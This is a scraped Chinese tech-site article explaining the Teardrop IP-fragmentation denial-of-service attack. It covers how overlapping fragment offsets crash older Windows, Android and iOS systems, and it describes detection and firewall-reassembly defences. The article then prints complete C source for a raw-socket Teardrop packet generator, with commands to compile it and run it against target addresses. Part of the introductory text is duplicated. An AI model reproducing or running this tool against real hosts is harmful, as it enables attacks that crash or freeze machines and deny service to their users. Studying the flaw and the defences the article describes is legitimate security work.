| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 网络协议 -> 什么是Teardrop攻击?我们要如何防御Teardrop攻击? -> 正文阅读 |
|
[网络协议]什么是Teardrop攻击?我们要如何防御Teardrop攻击? |
Teardrop攻击是一种拒绝服务攻击,是一种基于UDP的病态分片数据包的攻击方法,英文“Tear”是“眼泪”的意思,“drop”是“掉落”的意思,顾名思义,Teardrop攻击是一种令人落泪的攻击手段,可见其破坏威力很强大? 主要针对早期微软操作系统(95、98、3.x、nt)近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效? 攻击效果 被攻击者会出现蓝屏、重启、卡死等情况 1、Teardrop攻击原理 Teardrop攻击工作原理是攻击者A给受害者B发送一些分片IP报文,并且故意将“13位分片偏移”字段设置成错误的值(既可与上一分片数据重叠,也可错开),B在组合这种含有重叠偏移的伪造分片报文时,某些操作系统收到含有重叠偏移的伪 Teardrop攻击是一种拒绝服务攻击,是一种基于UDP的病态分片数据包的攻击方法,英文“Tear”是“眼泪”的意思,“drop”是“掉落”的意思,顾名思义,Teardrop攻击是一种令人落泪的攻击手段,可见其破坏威力很强大? 主要针对早期微软操作系统(95、98、3.x、nt)近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效? 利用UDP包重组时重叠偏移(假设数据包中第二片IP包的偏移量小于第一片结束的位移,而且算上第二片IP包的Data,也未超过第一片的尾部,这就是重叠现象。)的漏洞对系统主机发动拒绝服务攻击,最终导致主机宕机;对于Windows系统会导致蓝屏死机,并显示STOP 0x0000000A错误。 2、检测方法对接收到的分片数据包进行分析,计算数据包的片偏移量(Offset)是否有误。
网络安全设备将接收到的分片报文先放入缓存中,并根据源IP地址和目的IP地址对报文进行分组,源IP地址和目的IP地址均相同的报文归入同一组,然后对每组IP报文的相关分片信息进行检查,丢弃分片信息存在错误的报文。为了防止缓存溢出,当缓存快要存满时,直接丢弃后续分片报文。 反攻击方法:添加系统补丁程序,丢弃收到的病态分片数据包并对这种攻击进行审计。尽可能采用最新的操作系统,或者在防火墙上设置分段重组功能,由防火墙先接收到同一原包中的所有拆分数据包,然后完成重组工作,而不是直接转发。因为防火墙上可以设置当出现重叠字段时所采用的规则 MAC头(帧头):14个字节,包括目标mac6字节,源mac6字节,上层协议2字节 ping -l 4000 192.168.199.158
teardrop_smb.py
teardrop_androidios.py
IP报头中的一个字段是“片段偏移量”字段,指示包含在分段数据包中的数据相对于原始数据包中的数据的起始位置或偏移量。如果一个分片数据包的偏移量和大小之和不同于下一个分片数据包的偏移量和大小之和,则数据包重叠。发生这种情况时,易受泪滴攻击的服务器无法重新组装数据包 ,从而导致拒绝服务状况。? 5、编写Teardrop程序(创建一个虚假的IP数据包)1)、在?Ubuntu?系统下,创建一个?Teardrop.c?文件,写入如下内容: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/udp.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/time.h> #include <sys/socket.h> #include <errno.h> #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) ?(n) #else ? /* OpenBSD 2.1, all Linux */ #define FIX(n) ?htons(n) #endif ?/* STRANGE_BSD_BYTE_ORDERING_THING */ #define IP_MF 0x2000 ?/* More IP fragment en route */ #define IPH 0x14 ???/* IP header size */ #define UDPH 0x8 ????/* UDP header size */ #define PADDING ?0x1c ???/* datagram frame padding for first packet */ #define MAGIC ?0x3 ????/* Magic Fragment Constant (tm). ?Should be 2 or 3 */ #define COUNT 0x1 ?????/* Linux dies with 1, NT is more stalwart and can ????????????????????????* withstand maybe 5 or 10 sometimes... ?Experiment.*/ ???????????????????? void usage(u_char *); u_long name_resolve(u_char *); void send_frags(int, u_long, u_long, u_short, u_short); int main(int argc, char **argv) { ????int one = 1, count = 0, i, rip_sock; ????// 定义源地址和目的地址 ????u_long src_ip = 0, dst_ip = 0; ????// 定义源端口和目的端口 ????u_short src_prt = 0, dst_prt = 0; ????// 定义一个32位的IPv4地址 ????struct in_addr addr; ????printf("teardrop route|daemon9\n\n"); ????//创建原始套接字 ????if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) ????{ ????????fprintf(stderr, "raw socket"); ????????exit(1); ????} ????//设置套接字选项IP_HDRINCL ????if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, ????(char *)&one, sizeof(one))< 0) ????{ ????????fprintf(stderr, "IP_HDRINCL"); ????????exit(1); ????} ????if (argc < 3) ????????usage(argv[0]); ????// 设置源IP 和 目的IP ????if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2]))) ????{ ????????fprintf(stderr, "What the hell kind of IP address is that?\n"); ????????exit(1); ????} ????while ((i = getopt(argc, argv, "s:t:n:")) != EOF) ????{ ????????switch (i) ????????{ ????????????case 's': // source port (should be emphemeral) ????????????src_prt = (u_short)atoi(optarg); ????????????break; ????????????case 't': // dest port (DNS, anyone?) ????????????dst_prt = (u_short)atoi(optarg); ????????????break; ????????????case 'n': // number to send ????????????count = atoi(optarg); ????????????break; ????????????default : ????????????usage(argv[0]); ????????????break; // NOTREACHED ????????} ????} ????srandom((unsigned)(utimes("0",(time_t)0))); ????if (!src_prt) src_prt = (random() % 0xffff); ????if (!dst_prt) dst_prt = (random() % 0xffff); ????if (!count) ????count = COUNT; ????printf("Death on flaxen wings:\n"); ????addr.s_addr = src_ip; ????printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt); ????addr.s_addr = dst_ip; ????printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt); ????printf(" Amt: %5d\n", count); ????printf("[\n "); ????for (i = 0; i < count; i++) ????{ ????????send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); ????????// printf("b00m "); ????????usleep(500); ????} ????printf("]\n"); ????return (0); } // 设置 IP 包的内容 void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt) { ????u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers ????u_char byte; // a byte ????// 套接字地址结构 ????struct sockaddr_in sin; /* socket protocol structure */ ????sin.sin_family = AF_INET; ????sin.sin_port = src_prt; ????sin.sin_addr.s_addr = dst_ip; ????packet = (u_char *)malloc(IPH + UDPH + PADDING); ????p_ptr = packet; ????flag = packet; ????bzero((u_char *)p_ptr, IPH + UDPH + PADDING); ????// IP version and header length ????byte = 0x45; ????memcpy(p_ptr, &byte, sizeof(u_char)); ????p_ptr += 2; // IP TOS (skipped) ????// total length ????*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); ????p_ptr += 2; ????*((u_short *)p_ptr) = htons(242); // IP id ????p_ptr += 2; ????//IP frag flags and offset ????*((u_short *)p_ptr) |= FIX(IP_MF); ????p_ptr += 2; ????*((u_short *)p_ptr) = 0x40; // IP TTL ????byte = IPPROTO_UDP; ????memcpy(p_ptr + 1, &byte, sizeof(u_char)); ????// IP checksum filled in by kernel ????p_ptr += 4; ????// IP source address ????*((u_long *)p_ptr) = src_ip; ????p_ptr += 4; ????// IP destination address ????*((u_long *)p_ptr) = dst_ip; ????p_ptr += 4; ????*((u_short *)p_ptr) = htons(src_prt); // UDP source port ????p_ptr += 2; ????*((u_short *)p_ptr) = htons(dst_prt); // UDP destination port ????p_ptr += 2; ????*((u_short *)p_ptr) = htons(PADDING); // UDP total length ????p_ptr += 4; ???? ????// 发送数据:Fake News ????*((u_short *)p_ptr) = 0x46; ????p_ptr++; ????*((u_short *)p_ptr) = 0x61; ????p_ptr++; ????*((u_short *)p_ptr) = 0x6B; ????p_ptr++; ????*((u_short *)p_ptr) = 0x65; ????p_ptr++; ????*((u_short *)p_ptr) = 0x20; ????p_ptr++; ????*((u_short *)p_ptr) = 0x4E; ????p_ptr++; ????*((u_short *)p_ptr) = 0x65; ????p_ptr++; ????*((u_short *)p_ptr) = 0x77; ????p_ptr++; ????*((u_short *)p_ptr) = 0x73; ????int i=1; ????while(i <= 56) ????{ printf("%x\t",*flag); flag++; ????????if(0 == i%8) ????printf("\n"); ????????i++; ????} ????if (sendto(sock, packet, IPH + UDPH + PADDING, 0, ????(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1) ????{ ????????fprintf(stderr, "\nsendto"); ????????free(packet); ????????exit(1); ????} ????// IP total length is 2 bytes into the header ????p_ptr = &packet[2]; ????*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); ????// IP offset is 6 bytes into the header ????p_ptr += 4; ????*((u_short *)p_ptr) = FIX(MAGIC); ????if (sendto(sock, packet, IPH+MAGIC+1, 0, ????(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1) ????{ ????????fprintf(stderr, "\nsendto"); ????????free(packet); ????????exit(1); ????} ????free(packet); } // 获取主机信息 u_long name_resolve(u_char *host_name) { ????struct in_addr addr; ????struct hostent *host_ent; ????if ((addr.s_addr = inet_addr(host_name)) == -1) ????{ ????????if (!(host_ent = gethostbyname(host_name))) return (0); ????????????bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); ????} ????return (addr.s_addr); } void usage(u_char *name) { ????fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name); ????exit(0); }
gcc Teardrop.c -o Teardrop sudo ./Teardrop 100.100.100.100 200.200.200.200 ? ? ? ? |
|
网络协议 最新文章 |
使用Easyswoole 搭建简单的Websoket服务 |
常见的数据通信方式有哪些? |
Openssl 1024bit RSA算法---公私钥获取和处 |
HTTPS协议的密钥交换流程 |
《小白WEB安全入门》03. 漏洞篇 |
HttpRunner4.x 安装与使用 |
2021-07-04 |
手写RPC学习笔记 |
K8S高可用版本部署 |
mySQL计算IP地址范围 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/26 5:34:47- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |